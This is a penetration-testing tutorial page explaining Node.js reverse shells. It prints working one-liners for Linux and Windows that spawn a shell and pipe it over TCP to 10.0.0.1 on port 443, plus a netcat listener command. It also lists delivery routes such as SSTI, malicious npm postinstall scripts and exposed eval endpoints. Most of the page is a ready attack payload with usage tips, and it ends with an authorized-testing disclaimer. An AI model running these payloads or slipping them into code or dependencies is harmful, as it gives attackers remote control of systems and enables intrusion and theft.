Node.js Reverse Shell: child_process Meets net.Socket
How a Node.js reverse shell works by piping a spawned shell through a TCP socket, the one-liner, and when Node is the interpreter you can rely on.
Node.js is now a first-class target interpreter. Anything running an Express API, a Next.js server, a build agent, or an Electron backend has node on the box — and a JavaScript injection or a compromised npm script gives you somewhere to run it. The Node reverse shell is just two core modules wired together.
The One-Liner
node -e 'sh=require("child_process").spawn("/bin/sh");net=require("net");c=new net.Socket();c.connect(443,"10.0.0.1",function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});'
How it fits together:
require("child_process").spawn("/bin/sh")launches a shell child process.net.Socket()+c.connect(443, "10.0.0.1", ...)opens a TCP connection back to your listener.- The three
pipecalls connect the streams: socket data flows into the shell's stdin, and the shell's stdout/stderr flow back out the socket.
It is the same socket-to-shell idea as every other payload, expressed with Node streams. Catch it with nc -lvnp 443.
Windows
On a Windows host with Node, swap the shell:
node -e 'sh=require("child_process").spawn("cmd.exe");net=require("net");c=new net.Socket();c.connect(443,"10.0.0.1",function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});'
For Windows generally, see windows reverse shells.
Where Node Payloads Land
Node payloads rarely come from a terminal — they come from the application:
- A server-side JavaScript injection or template/SSTI bug.
- A malicious or compromised dependency running in a
postinstallscript. - An exposed dev endpoint that evaluates input.
That context means the payload is usually embedded in JSON or a JS string before it runs, so quoting matters even more than usual.
When It Won't Connect
- No Node on the target — check
which node; fall back to bash or python. - Quoting — the payload is a JS string inside shell single quotes; nested contexts break it. See payload quoting.
- Egress filtered — prefer
443/80; test per egress filtering. - Listener mismatch — see choosing a listener.
Full checklist: why reverse shells fail.
Generate It
The reverse shell generator emits the Node.js one-liner with your LHOST/LPORT and the matching listener.
Authorized Testing Only
Use Node.js reverse shells only against systems you own or are explicitly authorized to test. Authorization is what makes the work legitimate.